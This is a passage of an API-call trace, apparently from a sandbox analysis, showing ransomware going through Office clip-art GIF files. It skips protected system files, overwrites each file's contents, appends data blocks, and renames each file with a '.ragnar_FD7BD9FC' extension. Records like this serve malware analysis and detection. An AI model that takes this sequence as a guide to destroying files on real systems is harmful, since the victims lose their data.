(lpString1=".GIF", lpString2=".exe") returned 1 [0092.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif")) returned 0x20 [0092.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.772] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=467) returned 1 [0092.772] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.772] GetProcessHeap () returned 0x580000 [0092.772] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.772] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.773] VirtualAlloc (lpAddress=0x0, dwSize=0x1d3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.773] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.773] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.773] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1d3, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1d3, lpOverlapped=0x0) returned 1 [0092.773] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.773] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d3, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.773] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1d3, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1d3, lpOverlapped=0x0) returned 1 [0092.774] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.774] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.774] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.774] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.774] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.774] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.774] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.774] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.774] GetProcessHeap () returned 0x580000 [0092.774] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.774] CloseHandle (hObject=0xf4) returned 1 [0092.774] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" [0092.774] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF.ragnar_FD7BD9FC" [0092.774] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.776] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x545ba000, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x545ba000, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01245_.GIF", cAlternateFileName="")) returned 1 [0092.776] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.776] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01245_.GIF" | out: lpString1="WB01245_.GIF") returned="WB01245_.GIF" [0092.776] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF") returned=".GIF" [0092.776] lstrcmpiW (lpString1="WB01245_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.776] lstrcmpiW (lpString1="WB01245_.GIF", lpString2="autorun.inf") returned 1 [0092.776] lstrcmpiW (lpString1="WB01245_.GIF", lpString2="boot.ini") returned 1 [0092.776] lstrcmpiW (lpString1="WB01245_.GIF", lpString2="bootfont.bin") returned 1 [0092.776] lstrcmpiW (lpString1="WB01245_.GIF", lpString2="bootsect.bak") returned 1 [0092.776] lstrcmpiW (lpString1="WB01245_.GIF", lpString2="bootmgr") returned 1 [0092.776] lstrcmpiW (lpString1="WB01245_.GIF", lpString2="bootmgr.efi") returned 1 [0092.776] lstrcmpiW (lpString1="WB01245_.GIF", lpString2="bootmgfw.efi") returned 1 [0092.776] lstrcmpiW (lpString1="WB01245_.GIF", lpString2="desktop.ini") returned 1 [0092.776] lstrcmpiW (lpString1="WB01245_.GIF", lpString2="iconcache.db") returned 1 [0092.776] lstrcmpiW (lpString1="WB01245_.GIF", lpString2="ntldr") returned 1 [0092.776] lstrcmpiW (lpString1="WB01245_.GIF", lpString2="ntuser.dat") returned 1 [0092.776] lstrcmpiW (lpString1="WB01245_.GIF", lpString2="ntuser.dat.log") returned 1 [0092.776] lstrcmpiW (lpString1="WB01245_.GIF", lpString2="ntuser.ini") returned 1 [0092.776] lstrcmpiW (lpString1="WB01245_.GIF", lpString2="thumbs.db") returned 1 [0092.776] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0092.776] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0092.776] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0092.776] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0092.776] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0092.776] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0092.776] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0092.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif")) returned 0x20 [0092.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.778] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=341) returned 1 [0092.778] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.778] GetProcessHeap () returned 0x580000 [0092.778] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.778] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.778] VirtualAlloc (lpAddress=0x0, dwSize=0x155, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.779] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.779] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.779] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x155, lpOverlapped=0x0) returned 1 [0092.779] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.779] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x155, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.779] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x155, lpOverlapped=0x0) returned 1 [0092.779] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x155, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.779] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.779] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x155, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.779] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.779] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.780] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.780] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.780] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.780] GetProcessHeap () returned 0x580000 [0092.780] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.780] CloseHandle (hObject=0xf4) returned 1 [0092.780] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" [0092.780] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF.ragnar_FD7BD9FC" [0092.780] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.781] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fde00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fde00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01246_.GIF", cAlternateFileName="")) returned 1 [0092.781] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.781] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01246_.GIF" | out: lpString1="WB01246_.GIF") returned="WB01246_.GIF" [0092.781] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF") returned=".GIF" [0092.781] lstrcmpiW (lpString1="WB01246_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.781] lstrcmpiW (lpString1="WB01246_.GIF", lpString2="autorun.inf") returned 1 [0092.781] lstrcmpiW (lpString1="WB01246_.GIF", lpString2="boot.ini") returned 1 [0092.781] lstrcmpiW (lpString1="WB01246_.GIF", lpString2="bootfont.bin") returned 1 [0092.781] lstrcmpiW (lpString1="WB01246_.GIF", lpString2="bootsect.bak") returned 1 [0092.781] lstrcmpiW (lpString1="WB01246_.GIF", lpString2="bootmgr") returned 1 [0092.781] lstrcmpiW (lpString1="WB01246_.GIF", lpString2="bootmgr.efi") returned 1 [0092.781] lstrcmpiW (lpString1="WB01246_.GIF", lpString2="bootmgfw.efi") returned 1 [0092.781] lstrcmpiW (lpString1="WB01246_.GIF", lpString2="desktop.ini") returned 1 [0092.781] lstrcmpiW (lpString1="WB01246_.GIF", lpString2="iconcache.db") returned 1 [0092.782] lstrcmpiW (lpString1="WB01246_.GIF", lpString2="ntldr") returned 1 [0092.782] lstrcmpiW (lpString1="WB01246_.GIF", lpString2="ntuser.dat") returned 1 [0092.782] lstrcmpiW (lpString1="WB01246_.GIF", lpString2="ntuser.dat.log") returned 1 [0092.782] lstrcmpiW (lpString1="WB01246_.GIF", lpString2="ntuser.ini") returned 1 [0092.782] lstrcmpiW (lpString1="WB01246_.GIF", lpString2="thumbs.db") returned 1 [0092.782] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0092.782] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0092.782] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0092.782] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0092.782] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0092.782] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0092.782] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0092.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif")) returned 0x20 [0092.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.782] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=462) returned 1 [0092.782] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.782] GetProcessHeap () returned 0x580000 [0092.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.782] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.783] VirtualAlloc (lpAddress=0x0, dwSize=0x1ce, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.783] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.784] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.784] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ce, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1ce, lpOverlapped=0x0) returned 1 [0092.784] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.784] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ce, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.784] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ce, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1ce, lpOverlapped=0x0) returned 1 [0092.784] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.784] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.784] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.784] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.784] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.784] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.785] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.785] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.785] GetProcessHeap () returned 0x580000 [0092.785] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.785] CloseHandle (hObject=0xf4) returned 1 [0092.785] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" [0092.785] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF.ragnar_FD7BD9FC" [0092.785] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.786] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d7f5e00, ftCreationTime.dwHighDateTime=0x1bd4e68, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d7f5e00, ftLastWriteTime.dwHighDateTime=0x1bd4e68, nFileSizeHigh=0x0, nFileSizeLow=0xff7, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01253_.GIF", cAlternateFileName="")) returned 1 [0092.786] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.786] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01253_.GIF" | out: lpString1="WB01253_.GIF") returned="WB01253_.GIF" [0092.786] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF") returned=".GIF" [0092.786] lstrcmpiW (lpString1="WB01253_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.786] lstrcmpiW (lpString1="WB01253_.GIF", lpString2="autorun.inf") returned 1 [0092.786] lstrcmpiW (lpString1="WB01253_.GIF", lpString2="boot.ini") returned 1 [0092.786] lstrcmpiW (lpString1="WB01253_.GIF", lpString2="bootfont.bin") returned 1 [0092.786] lstrcmpiW (lpString1="WB01253_.GIF", lpString2="bootsect.bak") returned 1 [0092.786] lstrcmpiW (lpString1="WB01253_.GIF", lpString2="bootmgr") returned 1 [0092.786] lstrcmpiW (lpString1="WB01253_.GIF", lpString2="bootmgr.efi") returned 1 [0092.786] lstrcmpiW (lpString1="WB01253_.GIF", lpString2="bootmgfw.efi") returned 1 [0092.786] lstrcmpiW (lpString1="WB01253_.GIF", lpString2="desktop.ini") returned 1 [0092.786] lstrcmpiW (lpString1="WB01253_.GIF", lpString2="iconcache.db") returned 1 [0092.786] lstrcmpiW (lpString1="WB01253_.GIF", lpString2="ntldr") returned 1 [0092.786] lstrcmpiW (lpString1="WB01253_.GIF", lpString2="ntuser.dat") returned 1 [0092.786] lstrcmpiW (lpString1="WB01253_.GIF", lpString2="ntuser.dat.log") returned 1 [0092.786] lstrcmpiW (lpString1="WB01253_.GIF", lpString2="ntuser.ini") returned 1 [0092.786] lstrcmpiW (lpString1="WB01253_.GIF", lpString2="thumbs.db") returned 1 [0092.786] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0092.787] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0092.787] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0092.787] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0092.787] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0092.787] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0092.787] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0092.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif")) returned 0x20 [0092.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.787] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4087) returned 1 [0092.787] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 